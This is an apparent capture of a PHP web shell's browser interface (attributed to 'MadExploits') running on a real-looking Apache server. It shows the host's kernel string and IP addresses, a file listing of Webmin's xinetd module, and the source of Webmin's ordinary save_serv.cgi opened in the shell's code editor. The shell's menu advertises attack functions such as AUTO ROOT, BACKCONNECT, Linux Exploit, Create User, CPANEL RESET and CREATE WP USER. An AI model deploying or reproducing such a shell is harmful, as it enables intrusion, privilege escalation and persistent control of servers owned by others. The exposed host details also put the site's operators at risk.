Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
xinetd /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
270
B
-rw-r--r--
backup_config.pl
729
B
-rwxr-xr-x
cgi_args.pl
226
B
-rwxr-xr-x
config
163
B
-rw-r--r--
config-AlmaLinux-7.0-ALL
154
B
-rw-r--r--
config-Amazon-Linux-2-ALL
154
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
154
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
154
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
154
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
154
B
-rw-r--r--
config-Rocky-Linux-7.0-ALL
154
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
154
B
-rw-r--r--
config-coherent-linux
165
B
-rw-r--r--
config-debian-linux
138
B
-rw-r--r--
config-freebsd
136
B
-rw-r--r--
config-freebsd-8-ALL
177
B
-rw-r--r--
config-gentoo-linux
138
B
-rw-r--r--
config-macos-1.5-6.0
159
B
-rw-r--r--
config-macos-7.0-ALL
181
B
-rw-r--r--
config-mandrake-linux
134
B
-rw-r--r--
config-msc-linux
138
B
-rw-r--r--
config-openSUSE-Linux-15.0-ALL
107
B
-rw-r--r--
config-openmamba-linux
165
B
-rw-r--r--
config-pardus-linux
134
B
-rw-r--r--
config-redhat-linux
165
B
-rw-r--r--
config-redhat-linux-24.0-ALL
166
B
-rw-r--r--
config-sol-linux
118
B
-rw-r--r--
config-suse-linux
139
B
-rw-r--r--
config-suse-linux-7.1-8.2
138
B
-rw-r--r--
config-suse-linux-9.0-ALL
109
B
-rw-r--r--
config-syno-linux
143
B
-rw-r--r--
config-trustix-linux
138
B
-rw-r--r--
config-united-linux
109
B
-rw-r--r--
config.info
312
B
-rw-r--r--
config.info.ca
371
B
-rw-r--r--
config.info.de
335
B
-rw-r--r--
config.info.es
184
B
-rw-r--r--
config.info.fr
391
B
-rw-r--r--
config.info.hr
340
B
-rw-r--r--
config.info.hu
194
B
-rw-r--r--
config.info.ja
423
B
-rw-r--r--
config.info.ko
349
B
-rw-r--r--
config.info.ms
320
B
-rw-r--r--
config.info.nl
333
B
-rw-r--r--
config.info.no
330
B
-rw-r--r--
config.info.pl
357
B
-rw-r--r--
config.info.ru
286
B
-rw-r--r--
config.info.sk
355
B
-rw-r--r--
config.info.sv
172
B
-rw-r--r--
config.info.tr
364
B
-rw-r--r--
config.info.uk
303
B
-rw-r--r--
config.info.zh
145
B
-rw-r--r--
config.info.zh_TW
135
B
-rw-r--r--
config_info.pl
446
B
-rwxr-xr-x
edit_defaults.cgi
2.48
KB
-rwxr-xr-x
edit_serv.cgi
4.53
KB
-rwxr-xr-x
feedback_files.pl
131
B
-rwxr-xr-x
index.cgi
4.09
KB
-rwxr-xr-x
install_check.pl
398
B
-rwxr-xr-x
log_parser.pl
737
B
-rwxr-xr-x
mass_enable.cgi
1.38
KB
-rwxr-xr-x
module.info
141
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
124
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
151
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
195
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
176
B
-rw-r--r--
module.info.ca
105
B
-rw-r--r--
module.info.ca.auto
15
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
112
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
122
B
-rw-r--r--
module.info.de
84
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
216
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
120
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
109
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
146
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
110
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
122
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
136
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
118
B
-rw-r--r--
module.info.hu
45
B
-rw-r--r--
module.info.hu.auto
97
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
109
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
156
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
137
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
120
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
126
B
-rw-r--r--
module.info.ms
107
B
-rw-r--r--
module.info.ms.auto
15
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
121
B
-rw-r--r--
module.info.nl
25
B
-rw-r--r--
module.info.nl.auto
92
B
-rw-r--r--
module.info.no
27
B
-rw-r--r--
module.info.no.auto
89
B
-rw-r--r--
module.info.pl
105
B
-rw-r--r--
module.info.pl.auto
15
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
123
B
-rw-r--r--
module.info.pt_BR
0
B
-rw-r--r--
module.info.pt_BR.auto
132
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
125
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
161
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
113
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
124
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
122
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
249
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
124
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
156
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
188
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
144
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
108
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
117
B
-rw-r--r--
restart.cgi
316
B
-rwxr-xr-x
save_defaults.cgi
1.52
KB
-rwxr-xr-x
save_serv.cgi
4.88
KB
-rwxr-xr-x
start.cgi
290
B
-rwxr-xr-x
xinetd-lib.pl
3.97
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : save_serv.cgi
#!/usr/bin/perl # save_serv.cgi # Create, modify or delete an internet service require './xinetd-lib.pl'; &ReadParse(); @conf = &get_xinetd_config(); if ($in{'new'}) { $xinet = { 'name' => 'service', 'members' => [ ] }; } else { $xinet = $conf[$in{'idx'}]; ($defs) = grep { $_->{'name'} eq 'defaults' } @conf; foreach $m (@{$defs->{'members'}}) { $ddisable{$m->{'value'}} = $m if ($m->{'name'} eq 'disabled'); } $oldid = $xinet->{'quick'}->{'id'}->[0] || $xinet->{'value'}; } &lock_file($config{'xinetd_conf'}); if ($in{'delete'}) { # Delete a service &delete_xinet($xinet); } else { # Validate inputs &error_setup($text{'serv_err'}); $in{'id'} =~ /^\S+$/ || &error($text{'serv_eid'}); $in{'bind_def'} || &check_ipaddress($in{'bind'}) || &check_ip6address($in{'bind'}) || &error($text{'serv_ebind'}); foreach $p (&list_protocols()) { @ps = getservbyname($in{'id'}, $p); last if (@ps); } if ($in{'port_def'}) { # make sure the service actually exists if ($in{'proto'}) { @s = getservbyname($in{'id'}, $in{'proto'}); } else { @s = @ps; } @s || &error(&text('serv_estd', $in{'name'})); } else { $in{'port'} =~ /^\d+$/ || &error($text{'serv_eport'}); $in{'proto'} || @ps || &error($text{'serv_eproto'}); } $in{'inst_def'} || $in{'inst'} =~ /^\d+$/ || &error($text{'serv_einst'}); $in{'user'} || $in{'prog'} == 0 || &error($text{'serv_euser'}); $in{'group_def'} || $in{'group'} || &error($text{'serv_egroup'}); $in{'nice_def'} || $in{'nice'} =~ /^\d+$/ || &error($text{'serv_enice'}); if (!$in{'cps_def'}) { $in{'cps'} =~ /^\d+$/ || &error($text{'serv_ecps0'}); $in{'cps1'} =~ /^\d+$/ || &error($text{'serv_ecps1'}); } if (!$in{'times_def'}) { @times = split(/\s+/, $in{'times'}); map { &error($text{'serv_etimes'}) if (!/^\d+:\d+\-\d+:\d+$/) } @times; } # Create service structure $xinet->{'values'} = [ $in{'id'} ]; &set_member_value($xinet, 'disable', $in{'disable'} ? 'yes' : undef); &set_member_value($xinet, 'port', $in{'port_def'} ? undef : $in{'port'}); &set_member_value($xinet, 'bind', $in{'bind_def'} ? undef : $in{'bind'}); &set_member_value($xinet, 'socket_type', $in{'sock'}); &set_member_value($xinet, 'protocol', $in{'proto'} ? $in{'proto'} : undef); &set_member_value($xinet, 'user', $in{'user'}) if ($in{'user'}); &set_member_value($xinet, 'group', $in{'group_def'} ? undef : $in{'group'}); @type = @{$q->{'type'}}; @flags = @{$q->{'flags'}}; if ($in{'prog'} == 0) { @type = &unique(@type, 'INTERNAL'); &set_member_value($xinet, 'server'); &set_member_value($xinet, 'server_args'); &set_member_value($xinet, 'redirect'); } elsif ($in{'prog'} == 1) { @type = grep { $_ ne 'INTERNAL' } @type; @s = split(/\s+/, $in{'server'}); $in{'disable'} || @s && -x $s[0] || &error($text{'serv_eserver'}); &set_member_value($xinet, 'server', shift(@s)); &set_member_value($xinet, 'server_args', @s); &set_member_value($xinet, 'redirect'); } else { &to_ipaddress($in{'rhost'}) || &error($text{'serv_erhost'}); $in{'rport'} =~ /^\d+$/ || &error($text{'serv_erport'}); @type = grep { $_ ne 'INTERNAL' } @type; &set_member_value($xinet, 'server'); &set_member_value($xinet, 'server_args'); &set_member_value($xinet, 'redirect', $in{'rhost'}, $in{'rport'}); } if ($in{'port_def'} || (!$in{'port_def'} && !$in{'proto'} && @ps)) { @type = grep { $_ ne 'UNLISTED' } @type; } else { @type = &unique(@type, 'UNLISTED'); } &set_member_value($xinet, 'type', @type); &set_member_value($xinet, 'wait', $in{'wait'} ? 'yes' : 'no'); &set_member_value($xinet, 'instances', $in{'inst_def'} ? undef : $in{'inst'}); &set_member_value($xinet, 'nice', $in{'nice_def'} ? undef : $in{'nice'}); &set_member_value($xinet, 'cps', $in{'cps_def'} ? ( ) : ( $in{'cps'},$in{'cps1'} ) ); &set_member_value($xinet, 'only_from', $in{'from_def'} ? undef : $in{'from'} ? split(/\s+/, $in{'from'}) : ("") ); &set_member_value($xinet, 'no_access', $in{'access_def'} ? undef : $in{'access'} ? split(/\s+/, $in{'access'}) : ("") ); &set_member_value($xinet, 'access_times', $in{'times_def'} ? undef : @times); if ($in{'new'}) { foreach $xi (@conf) { if ($xi->{'name'} eq 'service' && $xi->{'value'} eq $in{'id'}) { # A service with the same name exists! &set_member_value( $xinet, 'id', "$in{'id'}-$in{'sock'}"); } } if (-d $config{'add_dir'}) { &lock_file($newfile); $newfile = "$config{'add_dir'}/$in{'id'}"; &create_xinet($xinet, $newfile); &unlock_file($newfile); } else { &create_xinet($xinet); } } else { &modify_xinet($xinet); if ($ddisable{$oldid}) { # Take out old global disabled &delete_xinet($ddisable{$oldid}); } } } &unlock_file($config{'xinetd_conf'}); &webmin_log($in{'delete'} ? 'delete' : $in{'new'} ? 'create' : 'modify', 'serv', $xinet->{'values'}->[0], $xinet->{'quick'}); &redirect("");
Close